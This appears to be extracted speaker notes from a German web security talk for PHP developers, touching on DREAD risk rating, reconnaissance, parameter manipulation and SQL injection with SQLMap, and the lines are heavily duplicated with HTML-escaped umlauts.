  22. Damage: Geldtransaktionen, personenbezogene Daten, In-Game-W&amp;#xE4;hrungen \nReproduzierbarkeit - sehr m&amp;#xFC;hsam oder in wenigen f&amp;#xE4;llen? \nExploitablity - kann ich es tats&amp;#xE4;chlich exploiten, oder ist es eine Second-Order-Attacke?\nAffected Users - wen betrifft es wirklich?\nDiscoverablity - wie leicht ist es zu entdecken, und damit: wie wahrscheinlich ist die Entdeckung?\n
  23. \n
  24. \n
  25. \n
  26. \n
  27. \n
  28. \n
  29. \n
  30. Um Informationen &amp;#xFC;ber eine Website zu sammeln brauche ich sie noch nicht mal zu besuchen - ich kann auch rein remote informationen bekommen. Am Ende habe ich eine Sitemap mit Urls, die ich mir noch mal angucken m&amp;#xF6;chte - besonders welche mit formularen etc..\n
  31. Um Informationen &amp;#xFC;ber eine Website zu sammeln brauche ich sie noch nicht mal zu besuchen - ich kann auch rein remote informationen bekommen. Am Ende habe ich eine Sitemap mit Urls, die ich mir noch mal angucken m&amp;#xF6;chte - besonders welche mit formularen etc..\n
  32. Um Informationen &amp;#xFC;ber eine Website zu sammeln brauche ich sie noch nicht mal zu besuchen - ich kann auch rein remote informationen bekommen. Am Ende habe ich eine Sitemap mit Urls, die ich mir noch mal angucken m&amp;#xF6;chte - besonders welche mit formularen etc..\n
  33. Um Informationen &amp;#xFC;ber eine Website zu sammeln brauche ich sie noch nicht mal zu besuchen - ich kann auch rein remote informationen bekommen. Am Ende habe ich eine Sitemap mit Urls, die ich mir noch mal angucken m&amp;#xF6;chte - besonders welche mit formularen etc..\n
  34. Wenn ich das habe, versuche ich mein Gl&amp;#xFC;ck mit Parameter Manipulation. \n
  35. \n
  36. \n
  37. \n
  38. \n
  39. \n
  40. \n
  41. \n
  42. \n
  43. \n
  44. \n
  45. \n
  46. \n
  47. \n
  48. \n
  49. \n
  50. Fragen ob bekannt?\n
  51. Fragen ob bekannt?\n
  52. Fragen ob bekannt?\n
  53. Fragen ob bekannt?\n
  54. Fragen ob bekannt?\n
  55. Fragen ob bekannt?\n
  56. \n
  57. \n
  58. \n
  59. \n
  60. \n
  61. Hier helfen Tools wie SQLMap\n
  62. Hier helfen Tools wie SQLMap\n
  63. Hier helfen Tools wie SQLMap\n
  64. Hier helfen Tools wie SQLMap\n
  65. Hier helfen Tools wie SQLMap\n
  66. Hier helfen Tools wie SQLMap\n
  67. \n
  68. \n
  69. \n
  70. \n
  71. \n
  72. \n
  73. \n
  74. \n
  75. F&amp;#xFC;r uns PHPler: Zend IDE oder PHPStorm, oder eben VI oder Emacs f&amp;#xFC;r die religi&amp;#xF6;sen Fanatisten :-)\n
  76. \n
  77. \n
  78. Parameter binding does just help 80% for sql injection!\n
  79. \n
  80. \n
  81. \n
  82. \n
  83. \n
  84. \n
  85. Was mache ich, damit ich es mache?\n
  86. \n
  87. \n
  88. \n
  89. \n
  90. \n
  91. \n
  92. \n